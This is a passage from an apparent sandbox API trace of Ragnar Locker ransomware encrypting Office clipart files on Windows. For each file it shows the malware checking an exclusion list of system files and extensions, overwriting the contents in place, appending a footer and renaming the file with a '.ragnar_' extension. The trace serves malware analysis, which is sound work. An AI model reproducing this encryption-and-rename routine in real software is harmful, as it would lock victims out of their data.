Office\\CLIPART\\PUB60COR\\J0198372.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.862] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0085.862] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.862] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198377.WMF" | out: lpString1="J0198377.WMF") returned="J0198377.WMF" [0085.862] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned=".WMF" [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="autorun.inf") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="boot.ini") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="bootfont.bin") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="bootsect.bak") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="bootmgr") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="bootmgr.efi") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="bootmgfw.efi") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="desktop.ini") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="iconcache.db") returned 1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="ntldr") returned -1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="ntuser.dat") returned -1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="ntuser.dat.log") returned -1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="ntuser.ini") returned -1 [0085.862] lstrcmpiW (lpString1="J0198377.WMF", lpString2="thumbs.db") returned -1 [0085.862] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.863] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.863] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.863] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.863] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.863] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.863] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf")) returned 0x20 [0085.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.864] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40300) returned 1 [0085.864] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.864] GetProcessHeap () returned 0x580000 [0085.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.864] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.865] VirtualAlloc (lpAddress=0x0, dwSize=0x9d6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.865] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9d6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9d6c, lpOverlapped=0x0) returned 1 [0085.867] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.867] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.867] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9d6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9d6c, lpOverlapped=0x0) returned 1 [0085.867] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.867] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.868] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.868] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.868] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.868] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.868] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.868] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.868] GetProcessHeap () returned 0x580000 [0085.868] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.868] CloseHandle (hObject=0xf4) returned 1 [0085.868] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" [0085.868] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.ragnar_FD7BD9FC" [0085.868] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.869] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0085.869] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.869] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198447.WMF" | out: lpString1="J0198447.WMF") returned="J0198447.WMF" [0085.869] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned=".WMF" [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="autorun.inf") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="boot.ini") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="bootfont.bin") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="bootsect.bak") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="bootmgr") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="bootmgr.efi") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="bootmgfw.efi") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="desktop.ini") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="iconcache.db") returned 1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="ntldr") returned -1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="ntuser.dat") returned -1 [0085.869] lstrcmpiW (lpString1="J0198447.WMF", lpString2="ntuser.dat.log") returned -1 [0085.870] lstrcmpiW (lpString1="J0198447.WMF", lpString2="ntuser.ini") returned -1 [0085.870] lstrcmpiW (lpString1="J0198447.WMF", lpString2="thumbs.db") returned -1 [0085.870] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.870] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.870] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.870] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.870] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.870] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.870] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf")) returned 0x20 [0085.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.871] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=49676) returned 1 [0085.871] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc203, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.871] GetProcessHeap () returned 0x580000 [0085.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.871] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.872] VirtualAlloc (lpAddress=0x0, dwSize=0xc20c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.873] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.873] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.873] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc20c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc20c, lpOverlapped=0x0) returned 1 [0085.874] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.875] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc20c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.875] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc20c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc20c, lpOverlapped=0x0) returned 1 [0085.875] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc20c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.875] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.875] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc20c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.875] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.876] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.876] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.876] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.876] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.876] GetProcessHeap () returned 0x580000 [0085.876] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.876] CloseHandle (hObject=0xf4) returned 1 [0085.876] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" [0085.876] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.ragnar_FD7BD9FC" [0085.876] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.877] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0085.877] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.877] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198494.WMF" | out: lpString1="J0198494.WMF") returned="J0198494.WMF" [0085.877] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned=".WMF" [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="autorun.inf") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="boot.ini") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="bootfont.bin") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="bootsect.bak") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="bootmgr") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="bootmgr.efi") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="bootmgfw.efi") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="desktop.ini") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="iconcache.db") returned 1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="ntldr") returned -1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="ntuser.dat") returned -1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="ntuser.dat.log") returned -1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="ntuser.ini") returned -1 [0085.877] lstrcmpiW (lpString1="J0198494.WMF", lpString2="thumbs.db") returned -1 [0085.877] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.877] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.877] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.877] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.877] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.877] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.877] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf")) returned 0x20 [0085.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.878] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=44552) returned 1 [0085.878] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xadff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.878] GetProcessHeap () returned 0x580000 [0085.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.878] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.879] VirtualAlloc (lpAddress=0x0, dwSize=0xae08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.880] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.880] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.880] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xae08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xae08, lpOverlapped=0x0) returned 1 [0085.881] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.882] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xae08, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.882] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xae08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xae08, lpOverlapped=0x0) returned 1 [0085.882] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xae08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.882] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xae08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.882] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.882] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.885] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.885] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.885] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.885] GetProcessHeap () returned 0x580000 [0085.885] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.885] CloseHandle (hObject=0xf4) returned 1 [0085.885] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" [0085.885] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.ragnar_FD7BD9FC" [0085.885] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.886] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0085.886] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft 